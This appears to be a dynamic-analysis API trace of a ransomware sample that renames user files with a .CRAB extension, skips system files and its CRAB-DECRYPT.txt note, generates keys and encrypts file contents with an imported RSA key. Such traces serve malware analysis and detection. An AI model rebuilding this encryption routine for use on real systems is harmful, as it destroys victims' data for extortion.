	[0110.235] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0110.235] CloseHandle (hObject=0x3f8) returned 1
	[0110.242] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.242] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.243] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.243] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.243] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.243] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.244] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.244] lstrcmpW (lpString1="CHICAGO.XSL", lpString2=".") returned 1
	[0110.244] lstrcmpW (lpString1="CHICAGO.XSL", lpString2="..") returned 1
	[0110.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="CHICAGO.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL"
	[0110.244] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.244] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned 78
	[0110.244] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned 78
	[0110.244] lstrlenW (lpString=".XSL") returned 4
	[0110.244] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.244] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".XSL ") returned 5
	[0110.244] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.245] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned 78
	[0110.245] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned 78
	[0110.245] lstrcmpiW (lpString1="CHICAGO.XSL", lpString2="desktop.ini") returned -1
	[0110.245] lstrcmpiW (lpString1="CHICAGO.XSL", lpString2="autorun.inf") returned 1
	[0110.245] lstrcmpiW (lpString1="CHICAGO.XSL", lpString2="ntuser.dat") returned -1
	[0110.245] lstrcmpiW (lpString1="CHICAGO.XSL", lpString2="iconcache.db") returned -1
	[0110.245] lstrcmpiW (lpString1="CHICAGO.XSL", lpString2="bootsect.bak") returned 1
	[0110.245] lstrcmpiW (lpString1="CHICAGO.XSL", lpString2="boot.ini") returned 1
	[0110.245] lstrcmpiW (lpString1="CHICAGO.XSL", lpString2="ntuser.dat.log") returned -1
	[0110.245] lstrcmpiW (lpString1="CHICAGO.XSL", lpString2="thumbs.db") returned -1
	[0110.245] lstrcmpiW (lpString1="CHICAGO.XSL", lpString2="CRAB-DECRYPT.txt") returned -1
	[0110.245] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.245] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.CRAB") returned 83
	[0110.245] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl")) returned 0x20
	[0110.245] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", dwFileAttributes=0x20) returned 1
	[0110.246] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl.crab")) returned 1
	[0110.246] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0110.247] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.CRAB"
	[0110.247] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.CRAB.CRAB"
	[0110.247] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e7c0) returned 1
	[0110.247] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.248] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.248] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.248] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0110.248] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0110.248] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.248] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0110.249] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.249] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.249] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.249] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0110.249] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.249] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.250] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.250] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.250] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.251] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda70f0) returned 1
	[0110.251] CryptGetKeyParam (in: hKey=0xda70f0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.251] CryptEncrypt (in: hKey=0xda70f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0110.252] GetLastError () returned 0x0
	[0110.252] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.252] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.252] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda6df0) returned 1
	[0110.252] CryptGetKeyParam (in: hKey=0xda6df0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.252] CryptEncrypt (in: hKey=0xda6df0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0110.253] GetLastError () returned 0x0
	[0110.253] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.253] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0110.253] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.253] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0110.254] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x48839, lpOverlapped=0x0) returned 1
	[0110.281] VirtualAlloc (lpAddress=0x0, dwSize=0x48840, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.285] VirtualAlloc (lpAddress=0x0, dwSize=0x48840, flAllocationType=0x3000, flProtect=0x4) returned 0x33b0000
	[0110.292] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.294] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffb77c7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.294] WriteFile (in: hFile=0x3f8, lpBuffer=0x33b0000*, nNumberOfBytesToWrite=0x48840, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b0000*, lpNumberOfBytesWritten=0x314a9bc*=0x48840, lpOverlapped=0x0) returned 1
	[0110.294] VirtualFree (lpAddress=0x33b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.296] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.300] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.300] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.300] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0110.300] CloseHandle (hObject=0x3f8) returned 1
	[0110.305] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.305] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.306] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.306] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.306] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.306] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.307] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.307] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0110.307] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0110.307] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CRAB-DECRYPT.txt"
	[0110.307] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.307] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CRAB-DECRYPT.txt") returned 83
	[0110.307] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CRAB-DECRYPT.txt") returned 83
	[0110.307] lstrlenW (lpString=".txt") returned 4
	[0110.307] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.307] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0110.307] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.308] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CRAB-DECRYPT.txt") returned 83
	[0110.308] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CRAB-DECRYPT.txt") returned 83
	[0110.308] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0110.308] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0110.308] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0110.308] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0110.308] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0110.308] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0110.308] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0110.308] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0110.308] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0110.308] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.308] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.308] lstrcmpW (lpString1="GB.XSL", lpString2=".") returned 1
	[0110.308] lstrcmpW (lpString1="GB.XSL", lpString2="..") returned 1
	[0110.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GB.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL"
	[0110.308] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.308] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned 73
	[0110.309] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned 73
	[0110.309] lstrlenW (lpString=".XSL") returned 4
	[0110.309] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.309] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".XSL ") returned 5
	[0110.309] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.309] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned 73
	[0110.309] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned 73
	[0110.309] lstrcmpiW (lpString1="GB.XSL", lpString2="desktop.ini") returned 1
	[0110.309] lstrcmpiW (lpString1="GB.XSL", lpString2="autorun.inf") returned 1
	[0110.309] lstrcmpiW (lpString1="GB.XSL", lpString2="ntuser.dat") returned -1
	[0110.309] lstrcmpiW (lpString1="GB.XSL", lpString2="iconcache.db") returned -1
	[0110.309] lstrcmpiW (lpString1="GB.XSL", lpString2="bootsect.bak") returned 1
	[0110.309] lstrcmpiW (lpString1="GB.XSL", lpString2="boot.ini") returned 1
	[0110.309] lstrcmpiW (lpString1="GB.XSL", lpString2="ntuser.dat.log") returned -1
	[0110.309] lstrcmpiW (lpString1="GB.XSL", lpString2="thumbs.db") returned -1
	[0110.309] lstrcmpiW (lpString1="GB.XSL", lpString2="CRAB-DECRYPT.txt") returned 1
	[0110.309] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.310] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.CRAB") returned 78
	[0110.310] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl")) returned 0x20
	[0110.310] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", dwFileAttributes=0x20) returned 1
	[0110.311] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl.crab")) returned 1
	[0110.311] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0110.312] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.CRAB"
	[0110.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.CRAB.CRAB"
	[0110.312] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6eb78) returned 1
	[0110.312] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.313] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.313] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.313] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0110.313] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0110.313] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.313] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e7c0) returned 1
	[0110.314] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.314] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.315] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.315] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0110.315] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0110.315] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.315] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.315] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.315] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.316] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda6eb0) returned 1
	[0110.316] CryptGetKeyParam (in: hKey=0xda6eb0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.316] CryptEncrypt (in: hKey=0xda6eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0110.316] GetLastError () returned 0x0
	[0110.316] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.316] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.317] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7470) returned 1
	[0110.317] CryptGetKeyParam (in: hKey=0xda7470, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.317] CryptEncrypt (in: hKey=0xda7470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0110.317] GetLastError () returned 0x0
	[0110.317] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.317] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0110.318] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.319] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0110.319] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x4197e, lpOverlapped=0x0) returned 1
	[0110.350] VirtualAlloc (lpAddress=0x0, dwSize=0x41980, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.354] VirtualAlloc (lpAddress=0x0, dwSize=0x41980, flAllocationType=0x3000, flProtect=0x4) returned 0x33b0000
	[0110.361] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.362] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffbe682, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.362] WriteFile (in: hFile=0x3f8, lpBuffer=0x33b0000*, nNumberOfBytesToWrite=0x41980, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b0000*, lpNumberOfBytesWritten=0x314a9bc*=0x41980, lpOverlapped=0x0) returned 1
	[0110.363] VirtualFree (lpAddress=0x33b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.365] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.369] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.369] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.369] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0110.369] CloseHandle (hObject=0x3f8) returned 1
